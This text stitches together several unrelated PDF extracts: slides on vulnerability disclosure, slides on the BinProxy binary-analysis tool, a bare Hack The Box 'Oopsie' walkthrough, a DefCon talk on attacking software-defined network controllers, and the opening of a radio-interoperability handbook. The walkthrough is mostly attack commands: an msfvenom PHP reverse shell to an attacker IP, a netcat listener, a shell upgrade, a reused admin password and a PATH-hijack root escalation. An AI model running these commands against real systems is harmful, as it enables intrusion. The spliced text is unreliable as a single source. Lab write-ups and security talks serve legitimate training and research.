is one of those individual opinion things – However, there is a real risk to disseminating attacks – Use your moral compass so you can sleep well at night – Typical PoC details: 1 or more of: affected parameter/filename, source code extracts (from input to vulnerable code), sample attack string (typically harmless), pseudocode, functioning exploit code segment, fully executable exploit program • Patch availability, mitigations, workarounds • Key identifiers (CVE, vendor IDs, CERT IDs, etc.) • Disclosure timeline / Key Dates (discovery, research, patch, disclosure, etc.) • Credit to contributors • References to related work Advisory Formats - Pros and Cons • Simpler is better – Most widespread distribution; no special readers or software required • Think “plain text” or “markdown” – Easy to copy-and-paste key details (also, language translation) • Never, EVER PDF • Video is a mixed bag – You’re taking up people’s time and limiting when they can see it – Clear picture is essential – Show steps for reproducing – Keep it short and sweet – Accompany it with a text advisory What to Expect from Vendors • tl;dr – everything and nothing • MANY scenarios; every disclosure is a unique snowflake • Inability to find right contact (who might not exist) • Unless they’re very experienced, you’re calling their baby ugly • Lack of understanding of the issue • Acknowledgement of receipt, followed by silence • Corporate bureaucracy / politics prevent open comms • Refusal to share patches with you to re-test • Lack of credits • Commitment to a fix, but with an unreasonable timeline • Disagreement on severity of the issue • Release of patch without mentioning a vulnerability at all Where to Disclose Publicly • Post to at least one source that is archived forever (or archived widely) • Mailing lists: Bugtraq, Full-Disclosure, oss- security • Your own blog or website • Exploit-DB or other exploit sites • Vulnerability databases • No separate publication - rely on vendor credits or “hall of fame” Common Mistakes to Avoid • Interacting with a vendor in a way that seems like a threat or blackmail • PoC or GTFO (“Go! The Fail’s Overwhelming!”) – Easy to declare a vulnerability exists, but harder to prove it – Corollary: if you can’t exploit it, maybe somebody else can • Trusting automated tool findings without verifying them • Skipping root-cause analysis – Often leads you to more interesting findings • Not verifying whether the issue was already discovered Common Mistakes to Avoid (2) • Treating multiple attacks, or attack chains, as if they were separate vulnerabilities, even when they originate from a single vulnerability – E.g. if a vulnerability allows you to gain admin privilege, and a legitimate admin is explicitly allowed to “modify configuration” or “disable the software,” then these abilities are NOT new vulnerabilities – Decision point: “if an issue is fixed, are the other issues still a problem?” • Suggesting workarounds such as “uninstall software” is just… bad • Over-hyping the severity of your findings • Copying one of your old advisories to make a new advisory, and forgetting to change all the data for the new vulnerability • Relying too heavily on memes or cultural references • Assuming developers are stupid and lazy • Assuming customers can patch instantly VR Growth and Development (A Perspective) • Disclaimer! Everyone develops differently, this is just an approximation • Not everybody wants to be, can be, or needs to be elite • Malcolm Gladwell’s Outliers says it takes about 10,000 hours of focused practice to become an expert – Varies based on aptitude and prior experience, e.g. developers • These days, it can take 3 years or more before you build a reputation • To progress further, you can: – Team up with somebody else – Find a mentor • Be polite and respectful of their time; accept that some will say “no” • QUIZ: what happens when you’re an elite researcher who targets software with low-hanging fruit? Ask @taviso ;-) Stage 1: Newbie • Easy-to-find vulns • Easy-to-conduct, simplistic attacks • One vuln class only • Misses more important vulns • Misses nearby issues • Finds and discloses each bug, one at a time • Limited to highly insecure, previously-unaudited software • No “advisories” per se • Sometimes wrong Stage 2: Workhorse • More comprehensive findings - multiple bugs per package • Multiple types of well-understood vuln/attack classes • Recognizes simplistic protection mechanisms e.g. blacklists • Evolves a disclosure policy and approach to working with vendors (or not) • Evolving, stable advisory format • Learns new techniques from others and applies them to own work • Ensures findings are new and references related work Stage 3: Subject Matter Expert • Significant experience in one or more vuln or attack classes • Develops new enhancements for existing techniques • Writes white papers / speaks at conferences • Bypasses common protection mechanisms • Performs more comprehensive root cause analysis • Applies experience to previously-uninvestigated product classes • Creates a noticeable body of work • Extensive findings for any package audited • Experience with multiple techniques & methodologies • Able to find bugs in most packages • Detailed, well-written advisories with all relevant information • Rarely wrong Stage 4: “Elite” • Hates that term (probably) • Finds new vuln classes, invents new attack classes, makes new tools • Bypasses state-of-the-art protection mechanisms • Anticipates industry-wide developments • Is “elite” only for a particular specialty – NOBODY knows everything anymore • Finds vulns in any software package, anywhere, anytime* – * as applied to their particular specialty • Analyzes most popular, secure software • Finds complex vulnerability chains Feelz and Failz: Your “Objective,” Technical Research is a Lie • Vulnerability research is a trying profession/hobby – FAILZ are inevitable • You’re (probably) not a robot – FEELZ are inevitable – You're (probably) subject to trying to find rationales and logic to explain away your feelz • HACK/LIFE BALANCE IS KEY; but your balance ! = others’ balance • You don't have to be l33t to make a difference FEELZ ARE OK • It's normal to: – Get frustrated – Get “scooped” by bug collisions – Be defeated by a technical barrier you don't understand – “Waste” time on a promising theory that doesn’t work out – Not understand what someone else’s advisory says – Give up, temporarily or permanently, and look for something else – Believe that your only worth is in finding RCE in software from Top 10 vendors – Not be able to see yourself reaching the level of those you respect – Boldly declare you're awesome (Dunning-Kruger effect) – Think you don't know much when everyone else believes you do (also Dunning-Kruger effect) – Let your pride & ego get in the way of communication – Ghost the disclosure process when you realize you're wrong – Think you found something new that's actually old – Get criticism from researchers you respect • Try to prevent your feelz from negatively affecting anyone… including yourself FAILZ ARE OK • Your research heroes and heroines, plumbers and rock stars, whoever they are, probably: – Failed before everybody cared about infosec – Failed privately – Operated in a world where the “rules” weren't yet defined… but today those rules aren't made explicit – Over-hyped some finding or another – Got smacked down by somebody who raised questions they couldn't answer – Recovered, and forgot how they messed up – Recovered, but won't tell you how they messed up (see: ego) – Might misrepresent accomplishments or how easy things were for them • Failz are not fatal! (usually; we are in the age of IoT, unfortunately) Conclusion ● May you fail fast, fail uniquely, and fail well! ● Everybody forges their own path, but others have made the journey before ● Good luck and have fun! Josh: @jduck Steve: @sushidude References/Links: Research Process • Presentation – Andrew M. Hay - “Bootstrapping A Security Research Project” • https://speakerdeck.com/andrewsmhay/source-boston-2016-bootstrapping-a-security-research-project – Larry Cashdollar - “How to find 1,352 WordPress XSS plugin vulnerabilities in 1 hour (not really)” • http://www.wallofsheep.com/blogs/news/tagged/defcon#larry – Nick Jones / MWR Labs, “Bug Hunting with Static Code Analysis” • https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-bug-hunting-with-static-code-analysis-bsides-2016.pdf • Books – Dowd, McDonald, and Schuh: “The Art of Software Security Assessment: Identifying and Preventing Software Vulnerabilities” (the code auditing bible!) – “Hacker’s Handbook” series, e.g. Drake, Lanier, Mulliner, Fora, Ridley, Wicherski: “Android Hacker’ s Handbook” • Documents – Phrack Magazine: http://www.phrack.org/ – PoC||GTFO https://www.alchemistowl.org/pocorgtfo/ – “Introduction to Vulnerability Theory” - https://cwe.mitre.org/documents/vulnerability_theory/intro. html References/Links: Tools • This is far from exhaustive; there are dozens of commercial and freeware software scanners • Consider: $$$, false-positive rate, false- negative rate, explanations, ... • Kali Linux - many different tools https://www. kali.org/ • Metasploit https://www.metasploit.com/ • Grep (yes, grep!) References/Links: Intentionally Vulnerable Software • OWASP WebGoat https://www.owasp.org/index. php/Category:OWASP_WebGoat_Project • NIST SAMATE test suites, e.g. Juliet and STONESOUP https://samate.nist. gov/SARD/testsuite.php • CWE “Demonstrative Examples” for individual entries https://cwe.mitre.org • Intentionally vulnerable distros, e.g. Damn Vulnerable Linux or https://www.vulnhub.com/ References/Links: Advisory & Disclosure Advice • Kymberlee Price, “Writing Vulnerability Reports that Maximize Your Bounty Payouts” – https://youtu.be/zyp2DoBqaO0 • John Stauffacher, “Geekspeed’s Advice for Writing a Great Vulnerability Report” – https://blog.bugcrowd.com/advice-for-writing-a-great-vulnerability- report/ • OSVDB “Researcher Security Advisory Writing Guidelines” – https://blog.osvdb.org/2013/01/15/researcher-security-advisory-writing- guidelines • CVRF (Common Vulnerability Reporting Framework) – http://www.icasi.org/cvrf/ • Christey advisory format suggestion (2003) – http://www.securityfocus.com/archive/1/344559 References/Links: Disclosure Processes • http://howdoireportavuln.com/ • http://attrition.org/errata/legal_threats/ • ISO 29147 vulnerability disclosure standard http://www.iso. org/iso/catalogue_detail.htm?csnumber=45170 • Christey/Wysopal IETF draft https://tools.ietf.org/html/draft- christey-wysopal-vuln-disclosure-00 • RFPolicy 2.0 https://dl.packetstormsecurity. net/papers/general/rfpolicy-2.0.txt
pdf
Objective We have to defeat the enemies and save the earth!! Our contributions ●  Introduce a new concept of analysis framework to use easily o  perform analysis of normal application by using web proxy ●  Introduce methodologies for implementing our concept o  pros and cons of the methodologies ●  Demonstrate use cases Define Keyword ●  Web Application o  consist of usually script languages o  operate based on web server/client ●  Normal Application o  executable binary except for web applicaton o  PE, ELF, etc. ●  Web Proxy o  a tool for web application analysis o  Burp suite, paros, fiddler, etc. What’s wrong? Background Existing methodologies/tools for application analysis Web Application analysis ●  easy to use and operate using a web proxy (burp, paros, fiddler, etc.) ●  monitor and modify the contents without difficulty Existing methodologies/tools (cont’d) Normal Application(excutables) analysis ●  much harder and complex than web application(GDB, IDA, Ollydbg, windbg, etc.) ●  In secure channel, how can we check the contents? Challenges for application analysis We cannot save the earth using our resources Lack of time and manpower How to solve a problem? Need a EASY tool So what?? BinProxy : A New Paradigm for Binary Analysis Let’s get started with Demo! Key Features We do not need gdb and ollydbg to analyze applications any more. Key Features (cont’d) 2. modify return value 1. original return value 3. Click Forward Button Should we use the difficult tools for simple analysis? You can monitor and control the normal applications with your favorite web proxy Key Features (cont’d) We do not want to use difficult IDA tool to analyze applications any more. Key Features (cont’d) You can know what functions are existed in target apps and what functions can be monitored. Overall Achitecture Components ●  Target application o  smart phone apps, excutable program based on Windows, OSX and etc. ●  Web Proxy o  A user-friendly proxy to be used for analysis (ex. burp, paros, ..) ●  BinProxy Client o  is Operated in the target application is installed o  communication module : communicate with BinProxy server o  hooking module : modify the flow of functions. ●  BinProxy Server o  is Operated in the web proxy is installed o  communication module : communicate with BinProxy client and web proxy What You Need Need things to make BinProxy Intercept function call & Forward it to a Web proxy Main techniques for implementation how to control function calls by using web proxy Convert Functions Function monitoring and Function Controlling Main techniques for implementation (cont’d) API / User-defined function Hooking Function monitoring and Function Controlling Main techniques for implementation (cont’d) Dynamic function Hooking No need a pre-compiled hooking code Dynamic target function selection Function monitoring and Function Controlling Main techniques for implementation (cont’d) Return value, primitive / refernce type arguments Target function selection Main techniques for implementation (cont’d) Extraction API lists Target function selection (cont’d) Main techniques for implementation (cont’d) Extracting user-defined fuctions and Finding out Args and Types Target function selection (cont’d) Main techniques for implementation (cont’d) Monitoring function calls and statistics -> Selecting target functions easily How to make? the way of building BinProxy How to interwork with a web proxy - BinProxy Client * hooked_func send before_call message to BinProxy Server through communication module. * before_call message = function name + the value of arguments * After sending a before_call message, the hooked_func will be blocked until getting response from BinProxy Server. How to interwork with a web proxy - BinProxy Server BinProxy Server convert a before_call message into HTTP request format for delivering the message to Web Proxy. POST http://127.0.0.1:53388/function_name Host: target_app_name User-Agent: BinProxy 01_414141 How to interwork with a web proxy - Web Proxy How to interwork with a web proxy - BinProxy Client execute an original function After sending an after_call message, hooked_func will be blocked until getting response from BinProxy Server. How to interwork with a web proxy - BinProxy Server BinProxy Server convert a after_call message into HTTP response format for delivering the message to Web Proxy. HTTP/1.1 200 OK Date: Mon, 04 Aug 2014 17:22:59 GMT Server: BinProxy Content-Length: 1 Connection: close Content-Type: application/return 0 How to interwork with a web proxy - Web Proxy How to interwork with a web proxy - BinProxy Client return the value How to make? Ways of build android client & PoC Key Requirements Function What&How ToExtract??? HowtoHook??? Key Requirements - What & How To extract .. We can use for hooking in Android : •  Cydia substrate for Android •  Introspy-Android (GUI Interface + Cydia Substrate ) •  AndHook(Android Hooking Framework) •  ADBI(Android Dynamic Binary Instrumentation Toolkit) •  [Paper] Hooking on Android -2014 CodeEngn Conference …. Key Requirements - What & How To extract .. ADBI (Android Binary Instrumentation Toolkit) Intercept/Use DVM Methods on Dalvik VM Library (libdvm.so) Dynamic Dalvik Instrumentation Framework for Android (old) - Collin Mulliner, SummerCon 2013. https://github.com/crmulliner/adbi (current) Binproxy Client modules for Android TARGET (App.) HOOKY (shared library) Binproxy Server (Users) COMMUNICATOR (user interaction) INJECTOR HOOKY (shared library) COMM. (user interaction) ●  INJECTOR : Inject the HOOKER(.so) into Target App.(running process) ●  HOOKER : Hook the java/Android standard API for analysis. : loaded as the shared library(so) developed using JNI ●  COMMUNICATOR : Interactive interface for communication with user : Send/receive values for Hooking, Monitoring, Modifying Binproxy Client modules … (cont’d) How to implement Android Client Implemented using JNI(Java Native Interface) -  Get the method Information loaded -  Define/Prototype new function(native) for target function(method) -  Call Original Method from new function. -  Monitor/Modify a argument/return value DVM Original method New(JNI) FindClass/Method (dvmFindXXXX) 1 Replacetheoriginalmethod withanewnativefunction (dvmUseJNIBridge) 3 Definenewnativefunction 2 Calltheoriginalfunction fromnewnativefunction (callback) 4 How to implement … (Cont’d) Monitor/Modify How to implement .. (Cont’d) Call <return type> Method DEMO - PoC for Android App DEMO How to make? Ways of build iOS client & PoC Key Requirements - How To hook .. ●  We can use for hooking in iOS: a.  Cydia Substrate for iOS b.  fishhook c.  Mach-O-Hook How to implement iOS client ●  Use a CydiaSubstrate a.  Why CydiaSubstrate? -> verified stability ●  Most of Apps in Cydia are use a CydiaSubstrate! ●  Component of CydiaSubstrate a.  MobileHooker b.  MobileLoader c.  Safe Mode Key Requirements - What & How extract... ●  Mach-O File Format Key Requirements - What & How extract... ●  API LC_SYMTAB Symbol Table String Table Key Requirements - What & How extract... ●  Objective-C and User Function Address LC_FUNCTION_STARTS Function Starts How to implement iOS client ●  Target API and method selection a.  Extracting Objective C classes & methods b.  Extracting API lists c.  Finding out user-defined function’s args and types ●  Monitoring an entire method and API by using hooking (Logging?) (Logging?) DEMO - PoC for iOS App DEMO Anything else? Future Works Implementation Methods ●  How to obtain a target application’s function list and detail informations of the function ●  How to utilize database information to distinct functions Additional Functions ●  arbitrary function execution ●  arbitrary code execution ●  memory scan and patch ●  function control based on script languages ●  disassemble and decompilation And… ●  Performance Improvement ●  Additional OS Support 谢谢 Any Other Questions or Comments? email : [email protected]
pdf
nmap -sS -A 10.10.10.28 hack the box——-Oopsie 0x00 MEGACORP_4dm1n!! ​ ​ msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.16.3 LPORT=4444 > test.php use exploit/multi/handler set payload php/meterpreter/reverse_tcp set LHOST 10.10.16.3 set LPORT 4444 run -j 0x01 shell git clone https://github.com/maurosoria/dirsearch.git cd dirsearch python3 dirsearch.py -u http://10.10.10.28 -e php /usr/share/webshells/php/php-reverse-shell.php nc -lvnp 4444 // SHELL=/bin/bash script -q /dev/null Ctrl-Z stty raw -echo fg reset xterm ​ ​ python -c 'import pty; pty.spawn("/bin/bash")' ​ 0x02 ​ su robert ​ ​ find / -type f -group bugtracker 2>/dev/null ​ /usr/bin/bugtracker ​ export PATH=/tmp:$PATH cd /tmp/ echo '/bin/sh' > cat chmod +x cat ​ vim /root/root.txt 0x03 ​ ​
pdf
DefCon 22, Las Vegas 2014 Abusing Software Defined Networks Gregory Pickett, CISSP, GCIA, GPEN Chicago, Illinois [email protected] Hellfire Security Overview What is it? Exploiting it! Fixing it! Moving Forward Wrapping Up Modern Day Networks Vendor Dependent Difficult to scale Complex and Prone to Break Distributed and Often Inconsistent Configuration Uses inflexible and difficult to innovate protocols Unable to Consider Other Factors … And Good Luck If You Want To Change It! Enter … Software Defined Networking Separate the Control and Data Plane Forwarding Decisions Made By a Controller Routers and Switches Just Forward Packets Controllers Programmed with the Intelligence Full visibility of the Network Can consider the totality of the network before making any decision Enforce Granular Policy Enter … Software Defined Networking Switches Bare-Metal Only Any Vendor … Hardware or Software Solves Lots of Problems Know the State of the Network Rather Than Inferring It Run Development and Production Side-By-Side More Practical … Solves Lots of Problems Less Expensive Hardware BGP Maintenance Dry-Out Customer Egress Selection Better BGP Security Faster Convergence Granular Peering at IXPs Solves Lots of Problems Real-World Network Slicing of Flow Space Network and Server Load Balancing Security Dynamic Access Control Adaptive Traffic Monitoring Attack Detection and Mitigation Emerging Standards Old and Busted SNMP BGP Netconf LISP PCEP New Hotness OVSDB Openflow Introducing Openflow Purpose Execute Logic At the Controller Update Forwarding Tables Defined Forwarding Process Messaging Format Introducing Openflow Elements Controller Secure Channel Forwarding Element Process Check Flow Table If Match Found, Execute Action If No Match, Send Packet to controller Update Flow Table Introducing Openflow Features Flow Tables Match/Action Entries Packet header matched against 1 of N tables 12 fields available for matching Wildcard matching available Actions Forward Drop Modify Enqueue Leading Platforms Proprietary Cisco Application Policy Infrastructure Controller (APIC) Cisco Extensible Network Controller (XNC) HP Virtual Application Networks (VAN) SDN Controller IBM Programmable Network Controller Open-Source Nox/Pox Ryu Floodlight Opendaylight Floodlight Open-Source Java Controller Primarily an Openflow-based controller Supports Openflow v1.0.0 Fork from the Beacon Java Openflow controller Maintained by Big Switch Networks Opendaylight Open-Source Java Controller Many southbound options including Openflow Supports Openflow v1.0.0 and v1.3.0 Fork from the Beacon Java Openflow controller A Linux Foundation Collaborative Project Supported by Citrix, Red Hat, Ericsson, Hewlett Packard, Brocade, Cisco, Juniper, Microsoft, and IBM How Prevalent Is It Going To Be? Gartner: 10 critical IT trends for the next five years Major Networking Vendors Have Products or Products Planned for SDN InformationWeek 2013 Survey 60% felt that SDN would be part of their network within 5 Years 43% already have plans to put it in production So It’s Gonna Be All … Not Exactly! Protocol Weaknesses Encryption and Authentication via TLS More of a suggestion than a requirement though … Started Out Good Heading Backwards v1.0.0 over TLS v1.4.0 over TCP or TLS Protocol Weaknesses Controllers Floodlight … Nope Opendaylight … Supported but not required Switches Arista … No Brocade … Surprisingly, Yes Cisco … Another, Yes Dell … No Extreme … Another, Yes HP … No Protocol Weaknesses Switches Huawei … No IBM … No Juniper … No NEC … Another, Yes Netgear … No Pronto … Yes OVS … No Could Lead To … Information Disclosure through Interception Modification through Man-in-the-Middle And all sorts of DoS Nastiness! Debug Ports No Encryption No Authentication Just Full Control of the Switch All Via “dpctl” command-line tool Debug Ports Switches Arista … Yes Brocade … Yes Dell … Yes Extreme … Yes HP … Yes Huawei … Yes IBM … Yes Juniper … Yes NEC … Yes Debug Ports Switches Netgear … Yes Pronto … Yes OVS … Yes DoS Nastiness Openflow Centralization Entails Dependency Dependency Can Be Exploited How are vendors handing it? Floodlight Explored by Solomon, Francis, and Eitan Their Results … Handling It Poorly Opendaylight Unknown but worth investigating It is Java for God Sake! Tools of-switch.py Impersonates an Openflow switch Utilizes Openflow v1.00 of-flood.py Floods an Openflow controller Disrupting the network and bringing it down Utilizes Openflow v1.00 Demonstration Other Controller Weakness Floodlight No Encryption for Northbound HTTP API No Authentication for Northbound HTTP API Opendaylight Encryption for Northbound HTTP API Turned Off by Default Authentication for Northbound HTTP API HTTP Basic Authentication Default Password Weak Strong Passwords Turned Off by Default Could Lead To … Information Disclosure through Interception Topology Credentials Information Disclosure through Unauthorized Access Topology Targets And … Topology, Flow, and Message Modification through Unauthorized Access Add Access Remove Access Hide Traffic Change Traffic Identifying Controllers and Switches Currently Listening on TCP Port 6633 New Port Defined … TCP Port 6653 Hello’s Exchanged Feature Request Controller will send Switch will not Tools of-check.py Identifies Openflow Services Reports on their Versions Compatible with any version of Openflow of-enum.py Enumerates Openflow Endpoints Reports on their Type Compatible with any version of Openflow Tools openflow-enum.nse Identifies Openflow Services Reports on their Versions Compatible with any version of Openflow Demonstration Exposure Number of Known Issues Bad Enough Inside a Network Is Anything Outward Facing? Better Not to Take Anyone’s Word for It Just Find Out for Yourself Reported While Data Centers/Clouds are the Killer App for SDN NIPPON EXPRESS FIDELITY INVESTMENTS VMWARE Starting to see it moving toward the LAN Caltech Cern And WAN Google, NTT, and AT&T Discovered (Scanning Project) Service Discovery Ran on Entire Internet Seeing Both Controllers and Switches Still Going Through Results Though Data Collected Full of Noise Let’s Just Say that I Now Know Where All the Tarpits Are! Some Attacks Small Local Area Network One Admin Host Two User Hosts One Server One IDS Attacker will … Identify Targets Enumerate ACLs Find Sensors Tool of-map.py Downloads flows from an Openflow controller Uses the flows To identify targets and target services To build ACLs To identify sensors Works with Floodlight and Opendaylight via JSON Demonstration And Some More Attacks … Small Local Area Network One Admin Host Two User Hosts One Server One IDS Attacker will … Gain Access to the Server Isolate the Administrator Hide from the IDS And Attack the Server Tool of-access.py Modifies flows on the network through the Openflow Controller Adds or Removes access for hosts Applies transformations to their network activity Hides activity from sensors Works with Floodlight and Opendaylight via JSON Demonstration And Some Pwnage … Sorry Linux Foundation! Zero-Day Exploit Opendaylight has other southbound APIs besides Openflow No Encryption for Southbound Netconf API No Authentication for Southbound Netconf API Just Connect and Exchange Messages XML-RPC Remember Java? Boom Goes Opendaylight And it runs as “Root” Demonstration If No Exploit … Service Not Available or They Fix It Not to Worry Password Guess the !!!!!! Default Password Weak Strong Passwords Turned Off No Account Lockout No SYSLOG Output Repeat! Attacker will … Identify Targets Enumerate ACLs Find Sensors Gain Access to the Server Isolate the Administrator Hide from the IDS And Attack the Server And Pwn That Network Too! Demonstration Other Exploits Waiting to Be Found! Floodlight Northbound HTTP API Southbound Openflow API Opendaylight Northbound HTTP API Southbound Openflow API Southbound Netconf API (TCP,SSH) Southbound Netconf Debug Port Other Exploits Waiting to Be Found! Opendaylight JMX Access OSGi Console Lisp Flow Mapping ODL Internal Clustering RPC ODL Clustering Java Debug Access Where to Look Identify Additional Encryption and Authentication Issues Use Them to Explore Direct Access Traditional Vulnerabilities Start with the Basics Protocol Messaging Injection for RFI/LFI, Etc. Identify Information Disclosure Unauthorized Access DoS Available Solutions For Now For the Future For Now Transport Layer Security Feasible? Realistic? Hardening … Duh! VLAN … It’s the Network Stupid! Code Review Anyone? For the Future Denial of Service (SDN Architecture) Network Partitioning Controller Clustering Static Flow Entries Modification (SDN Applications) Traffic Counters Respond to Abnormalities Verification (SDN Operations) Impact With this one box, you get everything they have There is the Obvious Own Any Data They Own Control Any Aspect of Their Operation Control Their Fate Opens Up A World of Possibilities How It Could Go Right Vendor Independence and ultimately lower cost Networks that match the application and the businesses needs not the other way around Faster Evolution of the Network Production-Scale Simulation and Experimentation Exchangeable Network Aspects Dynamic and Truly Active Defenses How It Could Go Wrong Denial of Service Peer Node External Node Selectively Dropping Traffic? MiTM Entire Networks Local Subnets or Hosts Shadow Operations Darknets Uber Admins Making the Difference Traditional Means of Securing Controllers Still Apply Security Needs to Be Part of the Discussion Until Now … How SDN Can Help Security But How Secure is SDN? Analyses being Done But By Outsiders Traditional Approach and 2-D Controller’s Need A Security Reference and Audit Capability SDN has the potential to turn the entire Internet into a cloud Benefit would be orders of magnitude above what we see now But there is hole in the middle of it that could easily be filled by the likes of the NSA … or worse yet, China Let’s Not Let That Happen And That Start’s Here Final Thoughts Toolkit Updates can be found at http://sdn-toolkit.sourceforge.net/ Links http://www.sdncentral.com/ https://www.opennetworking.org/ http://www.projectfloodlight.org/ http://www.opendaylight.org/ https://www.coursera.org/course/sdn https://www.baycollege.edu/Academics/Areas-of-Study/Computer- Network-Systems/Faculty/Linderoth/2013-sdn-survey-growing-pains.aspx http://www8.hp.com/h20195/v2/GetDocument.aspx?docname=4AA4- 7944ENW http://www.openflowhub.org/blog/blog/2012/12/03/sdn-use-case- multipath-tcp-at-caltech-and-cern/ http://www.networkworld.com/article/2167166/cloud- computing/vmware--we-re-building-one-of-the-biggest-sdn-deployments- in-the-industry.html http://www.networkcomputing.com/networking/inside-googles-software- defined-network/a/d-id/1234201? http://cseweb.ucsd.edu/~vahdat/papers/b4-sigcomm13.pdf http://viodi.com/2014/03/15/ntt-com-leads-all-network-providers-in- deployment-of-sdnopenflow-nfv-coming-soon/
pdf
Developing Multi-Agency Interoperability Communications Systems: User's Handbook Applicable To: ACU-1000 Modular Interface/Interconnect System And TRP-1000 Transportable Radio Interconnect System ACU/TRP-1000 Handbook Page ii Developing Multi-Agency Interoperability Communication Systems: User’s Handbook ACU-1000 Modular Interface/Interconnect System And TRP-1000 Transportable Radio Interconnect System Presented by: Office for Domestic Preparedness This project was supported by Contract GS-10F-0088I/2001BF505TO02, Task Order 2001TO046, awarded by the U.S. Department of Justice, Office of Justice Programs to Community Research Associates, Inc. The As- sistant Attorney General, Office of Justice Programs, establishes the policies and priorities, and manages and coordinates the activities of the Office of Justice Programs, Bureau of Justice Statistics, National Institute of Justice, Office of Juvenile Justice and Delinquency Prevention, and the Office for Victims of Crime. Points of view in this document are those of the author and do not necessarily represent the official position of the U.S. Department of Justice and Community Research Associates, Inc. ACU/TRP-1000 Handbook Page iii Foreword The Office of the Assistant Attorney General, Office of Justice Programs (OJP) is providing funds through the Office for Domestic Preparedness (ODP) State Domestic Preparedness Equipment Program for the purchase of specialized equipment to help enhance the capabilities of State and local units of government to respond to acts of terrorism involving chemical and biological agents, as well as radiological, nuclear, and explosive de- vices. This handbook is the result of a developed and focused effort by the ODP to address interoperability and is intended to enhance communications among the numerous agencies who would respond to large-scale terror- ism incidents or emergencies. To further enhance that effort, the ODP provided more than 50 ACU/TRP-1000 systems to approximately 10 jurisdictions across the United States under a pilot grant project. The communities cited in the handbook were selected from among those provided with the ACU/TRP-1000 systems that were part of the ODP pilot grant project. The ACU/TRP-1000 system is a useful communications device for those who must establish a link with other local, State, and federal agencies at the scene of multi-agency response incident. This system provides radio interoperability during incidents or events requiring communications between diverse organizations all using different radios and/or different frequencies. I look forward to building upon the strong relationships that already been developed with you and your col- leagues during the first year of this very important program. Through our combined efforts, State and local emergency response agencies will receive the funding and as- sistance they need to enhance their capabilities and prepare for an event that will hopefully never take place. Sincerely, Andrew T. Mitchell Acting Director Office for Domestic Preparedness ACU/TRP-1000 Handbook Page iv Table of Contents 1 INTRODUCTION TO ACU-1000/TRP-1000 HANDBOOK........................................................1-1 1.1 PREFACE...............................................................................................................................1-1 1.2 GRANT PROGRAM SUPPORT ..................................................................................................1-1 1.3 PREFERRED TECHNICAL CAPABILITIES ...................................................................................1-1 1.4 ACKNOWLEDGEMENTS...........................................................................................................1-2 2 INTRODUCTION TO MULTI-AGENCY INTEROPERABILITY COMMUNICATION ................2-1 2.1 MULTI-AGENCY INTEROPERABILITY COMMUNICATION..............................................................2-1 2.1.1 Importance of Multi-Agency Communication...................................................................................... 2-1 2.1.2 The Interoperability Solution ............................................................................................................... 2-1 2.2 ACU-1000 & TRP-1000 INTEROPERABILITY COMMUNICATION SYSTEMS.................................2-2 2.3 ACU-1000 MODULAR INTERCONNECT SYSTEM ......................................................................2-2 2.3.1 Components of the ACU-1000 Modular Interconnect System............................................................ 2-2 2.4 TRP-1000 TRANSPORTABLE RADIO INTERCONNECT SYSTEM .................................................2-2 2.4.1 Components of the TRP Transportable Interconnect System ............................................................ 2-2 2.4.2 Potential Applications of the Interoperable Communication Systems ................................................ 2-3 3 ESTABLISHING INTEROPERABILITY ....................................................................................3-1 3.1 SET-UP AND OPERATION .......................................................................................................3-1 3.1.1 Cabling................................................................................................................................................ 3-1 3.1.2 Interconnection Schematics................................................................................................................ 3-2 3.1.3 Security Issues - Encryption ............................................................................................................... 3-2 3.2 DEPLOYMENT OPTIONS..........................................................................................................3-2 3.2.1 Frequencies to Install.......................................................................................................................... 3-2 3.2.2 Connecting Portable Radios ............................................................................................................... 3-3 3.3 MOBILE OPTIONS - TRAILER, VEHICLE, COMMAND POST .........................................................3-3 3.3.1 Fixed-Site Operation - Communications Center, Backup EOC, and Dispatch................................... 3-5 3.3.2 Mutual-Aid - Manned or Unmanned Deployment ............................................................................... 3-5 3.3.3 Set-Up and Deployment En-route....................................................................................................... 3-6 3.3.4 Creating On-Scene Talk Groups......................................................................................................... 3-6 3.3.5 Making the IC's Job Easier ................................................................................................................. 3-7 3.4 NOMENCLATURE ISSUES ........................................................................................................3-7 3.5 STORAGE RECOMMENDATIONS ..............................................................................................3-7 3.5.1 Disperse Storage to Minimize Vulnerability ........................................................................................ 3-7 3.5.2 Stored as Pre-Deployed Backup Communications............................................................................. 3-8 3.5.3 Installed in Vehicles, Rack-Mounted For Optional Usages................................................................. 3-8 4 TECHNICAL AND TACTICAL CONSIDERATIONS.................................................................4-1 4.1 800 MHZ MISCONCEPTIONS...................................................................................................4-1 4.1.1 Limitations of 800 MHz Systems at Large Scenes ............................................................................. 4-1 4.1.2 Talk Groups......................................................................................................................................... 4-1 4.2 ANTENNA CONFIGURATION OPTIONS......................................................................................4-1 4.2.1 Mobile Mounting, Rooftop, Portable Towers....................................................................................... 4-1 4.2.2 Temporary Magnetic Mount Antenna.................................................................................................. 4-1 4.3 FIXED FACILITY OPTIONS .......................................................................................................4-2 4.3.1 Planning Deployment Options ............................................................................................................ 4-2 4.3.2 Helicopter Deployment........................................................................................................................ 4-2 4.4 POWER SUPPLIES..................................................................................................................4-2 4.4.1 Uninterrupted Power Supplies ............................................................................................................ 4-2 4.4.2 Generator Capacities .......................................................................................................................... 4-2 4.4.3 DC Power Operation........................................................................................................................... 4-3 ACU/TRP-1000 Handbook Page v 4.4.4 Onboard Generator Systems.............................................................................................................. 4-3 4.5 JPS CORPORATE SUPPORT...................................................................................................4-3 4.5.1 Cabling Issues..................................................................................................................................... 4-3 4.5.2 Initial Training and Set-Up .................................................................................................................. 4-4 4.5.3 Software Upgrades ............................................................................................................................. 4-4 4.5.4 Assistance at Major Scheduled Events............................................................................................... 4-4 5 OPERATING SYSTEM MODELS .............................................................................................5-1 5.1 CHICAGO, ILLINOIS PROJECT..................................................................................................5-1 5.1.1 Chicago, Illinois TRP-1000 Deployment ............................................................................................. 5-2 5.1.2 Chicago, Illinois Operation Plan.......................................................................................................... 5-3 5.2 ORLANDO, FLORIDA PROJECT................................................................................................5-3 5.2.1 Orlando, Florida TRP-1000 Deployment ............................................................................................ 5-4 5.3 ARAPAHOE COUNTY, COLORADO PROJECT ............................................................................5-5 5.3.1 Arapahoe County, Colorado TRP-1000 Deployment.......................................................................... 5-5 APPENDIX A – POINTS OF CONTACT........................................................................................ A-1 APPENDIX B – PARTICIPATING JURISDICTIONS ..................................................................... B-1 APPENDIX C – LIST OF ABBREVIATIONS/ACRONYMS ........................................................... C-1 List of Figures FIGURE 2-1 ACU-1000 